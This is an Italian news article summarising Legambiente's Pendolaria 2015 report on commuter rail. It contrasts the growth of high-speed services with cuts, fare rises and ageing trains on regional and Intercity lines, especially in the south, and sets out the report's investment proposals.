Pendolaria2015, luci ed ombre su un’Italia a 2 velocità

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Treni della Roma-Lido in sosta nella stazione di Porta San Paolo - Foto Gabriele Nicastro

Treni della Roma-Lido in sosta nella stazione di Porta San Paolo
Foto Gabriele Nicastro

Italia a due velocità: AV in miglioramento, regionali ed intercity in peggioramento. Emergenza al mezzogiorno. Legambiente presenta un piano di studi per rilanciare il trasporto pendolare ferroviario.
Il rapporto di Legambiente sul trasporto ferroviario in Italia evidenzia che sempre più italiani scelgono il treno. Quello che però dovrebbe essere il mezzo di trasporto emblematico in termini di capillarità e di efficienza nel corto e medio raggio, si sta dividendo in questi ultimi anni in due entità diverse. Da una parte c’è l’Alta Velocità, con servizi sempre più veloci e frequenti effettuati da treni all’avanguardia; dall’altra, invece, c’è la bassa velocità, caratterizzata da treni regionali ed Intercity spesso vetusti e lenti, che sta subendo un drastico e preoccupante calo del servizio offerto, con i tempi di percorrenza uguali a quelli che c’erano più di trent’anni fa.
I dati del trasporto ferroviario ad alta velocità sono positivi. A partire dal 2007, i collegamenti veloci sulla tratta Roma – Milano sono passati da 17 dei primi Eurostar a 63 tra Frecciarossa e Italo, con un aumento in 8 anni pari al 370%. Il servizio offerto è sempre più ampio e sempre più viaggiatori usufruiscono dei collegamenti ad alta velocità.
D’altro canto, questo miglioramento sull’Alta Velocità non compensa quello che succede sui binari della “rete lenta”, dove i treni sono sempre più vecchi, i servizi giornalieri sono sempre più radi, gli impianti versano in stato di abbandono, intere linee vengono chiuse. La situazione è poi accentuata al sud Italia e sulle isole.
Sono 2milioni e 842mila i passeggeri che ogni giorno usufruiscono del servizio ferroviario regionale. Questa crescita è data dal sensibile aumento dei viaggiatori nelle Regioni nelle quali il servizio non è stato tagliato, ma è stato potenziato. Ovunque si migliora il servizio, il successo è garantito, come dimostrato in Trentino o anche sulla Foggia-Lucera in Puglia.
In questo aumento generale dei passeggeri (+2,5% rispetto al 2014) vi sono situazioni molto diverse.
In Lombardia sono arrivati a 703mila (con un +4,9%), crescono anche in Puglia (+2,8%), mentre diminuiscono in Sardegna (-9,4%) e in Umbria (-3,3%). Emblematica la situazione in Campania, dove malgrado i pendolari siano tornati a crescere, siamo comunque a -130mila al giorno rispetto al 2009, e in Piemonte, dove dopo la cancellazione di 14 linee, sono 35.000 i viaggiatori al giorno in meno rispetto al 2011. La ragione di queste dinamiche differenti è nei tagli al servizio ferroviario regionale che complessivamente dal 2010 sono stati pari al 6,5%, con punte del 18,9% in Basilicata, del 26,4% in Calabria, del 15,1% in Campania e del 13,8% in Liguria. In parallelo il record di aumento del costo dei biglietti si è registrato in Piemonte con +47%, in Liguria del 41%, del 25% in Abruzzo e Umbria, a fronte di un servizio che non ha avuto alcun miglioramento. In alcuni territori sono invece proprio scomparsi i treni, visto che in questi anni sono state chiusi 1.189 chilometri di linee ferroviarie.
I tagli ai servizi hanno riguardato anche la sfera dei collegamenti nazionali a lunga percorrenza, dove il totale delle riduzioni dei treni Intercity e a lunga percorrenza dal 2010 al 2014 ammonta ad oltre il 22%, con un calo di passeggeri di oltre il 40%.
La liberalizzazione del servizio che ha aperto la concorrenza sulle tratte più redditizie, il trasferimento di competenza del trasporto regionale alle Regioni e lo Stato che finanzia i collegamenti cosiddetti “universali”, ossia i treni a lunga percorrenza, hanno portato alla categorizzazione di treni di classe A e treni di classe B. Mentre i collegamenti “a mercato” sono sempre più efficienti, nel trasporto regionale diventano sempre più frequenti scenari come la ex Circumvesuviana, a Napoli, dove le corse giornaliere sono oggi pari al 30% in meno rispetto al 2010.
Tra le peggiori linee troviamo la Roma-Lido, La Alifana ed ex Circumvesuviana, la Chiasso-Rho, la Verona-Rovigo, la Reggio Calabria-Taranto, la Messina-Catania-Siracusa, la Salerno-Potenza-Taranto, la Novara-Varallo, la Orte-Foligno-Fabriano e la Genova-Acqui Terme. Le linee invece considerabili di serie A secondo gli standard europei, ovvero con cadenza inferiore ai 15 minuti nelle ore di punta e convogli bilivello in tutta italia sono due, entrambe nel Lazio: la Fara Sabina-Fiumicino Aeroporto e la Roma Tiburtina-Cesano.

La situazione poi è fortemente sbilanciata verso il sud, dove la situazione è di gran lunga peggiore rispetto al nord. I treni di tutto il sud sono 1738, contro i 2300 nella sola Lombardia; sono più vecchi, con un’età media di oltre 20 anni contro i 16 del nord; sono più lenti, sia per l’inadeguatezza delle linee sia perché sono necessari numerosi cambi per raggiungere una destinazione.

Servono nuovi treni, per potenziare il servizio sulle principali linee pendolari e regionali. Secondo uno studio di Legambiente ne servono 1.593 treni, di cui 1.259 per il servizio di trasporto regionale (429 a media percorrenza e 830 per i treni ad Alta frequentazione), 150 treni per il servizio di metropolitana, 184 tram. Per un investimento di questa dimensione si può stimare una spesa di circa 5-7 miliardi, considerando una parte degli interventi come revamping, e una riduzione dei costi legata alla possibilità di passare attraverso una stazione appaltante unica e una programmazione pluriennale. Un intervento di questo tipo necessita di un attenta regia nazionale e di risorse dedicate per il materiale rotabile, per evitare di lasciare da soli Regioni e Comuni.

Se le ragioni di queste situazioni sono note, a partire dai ritardi infrastrutturali, sono le conclusioni a cui il dibattito politico ha portato in questi anni ad essere sbagliate.
Il primo errore sta nella retorica delle grandi opere, con l’idea che l’obiettivo fondamentale sia di velocizzare i collegamenti con il Nord Italia. Tema vero, ma in parte. Servono investimenti attenti a migliorare l’offerta tra i centri capoluogo, prima di poter iniziare a pensare progetti come l’alta velocità Palermo-Catania, la Napoli-Bari o il Ponte sullo Stretto di Messina.
Il secondo errore sta nell’idea diffusa che al sud il treno rimarrà sempre marginale. Una tesi sensa senso, dimostrata da vari successi come il collegamento diretto Palermo-Catania dopo la chiusura dell’autostrada, oppure la linea Bari-Aeroporto, oppure ancora le linee metropolitane di Napoli.

Se il trasporto ferroviario pendolare è in crisi, è dovuto anche da altri fattori, primo fra tutti lo Stato che effettua tagli alle risorse economiche, i quali ammontano a oltre il 20%, rinunciando a qualsiasi ruolo di controllo sulla qualità dei servizi offerti nelle Regioni. Anche il tentativo di trasferimento del controllo alle Regioni si è rivelato un fiasco, almeno nella gran parte dei casi. Infatti, mentre alcune Regioni hanno investito, molte altre non lo hanno fatto, trascurando le necessità dei pendolari. Le peggiori Regioni sono Sicilia, Calabria, Piemonte, Puglia, Veneto e Lazio, mentre si distinguono Emilia-Romagna, Lombardia e Toscana.
Un altro punto a favore della crisi del trasporto ferroviario è il continuo investimento nell’autotrasporto, in maniera totalmente differente da qualsiasi prospettiva europea. Dal 2002 ad oggi, si è investito un capitale di oltre 58 miliardi di euro in strade e autostrade contro i circa 41 miliardi investiti in metropolitane, ferrovie tradizionali e ferrovie ad alta velocità.
L’avvicendamento tra Maurizio Lupi e Graziano Delrio al Ministero dei Trasporti ha portato alcuni cambiamenti positivi, secondo Legambiente. Si introducono regole chiare per la realizzazione delle grandi opere, si inizia a sentir parlare di Ferrobonus e di Marebonus per incentivare il trasporto di merci su ferro e su mare. Ma questo non basta: occorre che il Ministero rivoluzioni il mondo della mobilità, avviando progetti ambiziosi all’interno delle aree urbane, investendo nel trasporto ferroviario pendolare in modo da arrivare a 5 milioni di passeggeri nel 2020, puntando a far crescere il numero di passeggeri che sceglie il treno anche al di fuori dell’Alta Velocità e soprattutto al sud, ripristinando i collegamenti universali (Intercity) approvando un nuovo contratto in luogo di quello scaduto nel 2014, controllando lo stato del servizio all’interno delle Regioni.

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